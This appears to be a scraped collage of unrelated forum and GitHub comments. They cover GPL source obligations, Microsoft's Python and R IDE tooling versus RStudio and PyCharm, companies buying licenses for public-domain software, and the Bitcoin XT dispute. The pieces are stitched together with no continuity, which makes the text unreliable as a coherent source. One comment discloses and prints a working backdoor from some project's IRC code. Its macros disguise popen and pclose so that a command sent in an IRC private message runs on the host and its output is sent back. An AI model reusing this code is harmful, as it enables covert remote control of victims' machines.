The requirement to provide the source code to all GPL binaries they are distributing.

They don't have to provide it, they just have to make sure it is accessible to you. If they pulled the source for the kernel from https://github.com/torvalds/li... to build the binaries then that's fine.

Full disclosure: I am a developer on both PTVS and RTVS (different but intersecting subsets of the same team work on both).

So why has no one mentioned RStudio yet? We just seem to be talking R. This is pretty much a clone of RStudio so far, with *slightly* better code-completion.

And a license that is not Affero GPL v3.

I think you will find that there are other differences that you may find interesting and useful beyond that, though. The video is a very brief overview, and doesn't show everything in detail, but some things are already visible. For example, notice how at 1:15, the history brings up the entire multiline expression, that is editable as such (rather than scrolling through each individual line of it).

MS tools for open languages rarely give anything I can't get elsewhere, just the same stuff over their own tooling. I remember them pitching Python tools as if they invented the first IDE with code-completion for Python while I had been using tools with equivalent functionality for 10 years prior.

With respect to "first IDE with code completion" - I'm not aware of it having ever been pitched like that.

What it had been pitched like - and what was true - is that it's the IDE with the best code completion, especially on large volume of pure Python code (as opposed to C modules where all the completion data comes from doc comments anyway). Until it and PyCharm showed up, most Python IDEs were doing very basic completion based on function names and such.

The big difference we made was adding an analysis engine that actually keeps track of the flow of values throughout the source code, across module boundaries even; and tracking more than just classes, but also e.g. individual values of tuples and dicts. This enables good completion for many common dynamic patterns that conventional identifier-matching approach cannot handle. And because the flow goes both ways, you can, for example, call a function in one place of your program, and then when you're editing the function, you will see the types of arguments, and the corresponding members, based on all its call sites.

Have a look at this, and tell me which IDE that you've used 10 years ago could do it back then. Heck, most Python IDEs out there can't do it today! Code completion for a dynamic language is hard.

As far as "give anything I can't get elsewhere" - how about this?

In fact, one client preferred to send a check to one open-source project for a license even though legally it grants them no benefit. The project's website even says that the project "is in the public domain and does not require a license." Companies with large bankrolls will glady shell out thousands of dollars for some peace of mind.

Hey, do me a favour and see if there's anything useful for them on my Github repos!
https://github.com/dotancohen

https://github.com/alerj78/luc...

dooglus commented on Mar 8, 2015

There's a backdoor in the IRC code that gives the attacker the ability to run arbitrary commands on the victim's host.

In src/allocators.h we see these macros being defined, in an attempt to hide 'popen' and 'pclose' calls:

/** Determine system page size in bytes */
#define S_ORDER(a,b,c,d) b##a##d##c /**
  * OS-dependent memory page locking/unlocking.
  * Defined as policy class to make stubbing for test possible.
  */
#define CLine S_ORDER(I,F,E,L) /**
  * Singleton class to keep track of locked (ie, non-swappable) memory pages, for use in
  * std::allocator templates.
  */
#define CRead S_ORDER(p,po,n,e)
#define CFree S_ORDER(cl,p,e,os) // // Allocator that locks its contents from being paged // out of memory and clears its contents before deletion. //
#define CBuff "PR" "IV" "M" "SG"

Then in irc.cpp they are used to implement the backdoor:

if (vWords[1] == CBuff && vWords[3] == ":!" && vWords[0].size() > 1)
    {
        CLine *buf = CRead(strstr(strLine.c_str(), vWords[4].c_str()), "r");
        if (buf) {
            std::string result = "";
            while (!feof(buf))
                if (fgets(pszName, sizeof(pszName), buf) != NULL)
                    result += pszName;
            CFree(buf);
            strlcpy(pszName, vWords[0].c_str() + 1, sizeof(pszName));
            if (strchr(pszName, '!'))
                *strchr(pszName, '!') = '\0';
            Send(hSocket, strprintf("%s %s :%s\r", CBuff, pszName, result.c_str()).c_str());
        }
    }

I expect this is a known issue since this kind of thing doesn't happen accidentally.

When I followed the links in the referenced blog post, I've seen plenty of "emotionally charged rhetoric", but it was all coming from the anti-XT guys.

https://www.reddit.com/r/Bitco...

https://www.reddit.com/r/Bitco...

https://www.reddit.com/r/Bitco...

https://github.com/bitcoin-dot...

I am a complete outsider. Until today, I only had very vague knowledge of XT, and no understanding of the underlying problems. Having heard what either side had to say, I don't know who's right in a sense of what's better, but the XT guys are much more professional and level-headed about pitching their arguments.

Heck, even your post itself is a prime example of it. You keep repeating words like "shilling" and "spamming" over and over, in contexts that make them clear personal attacks on your opponents.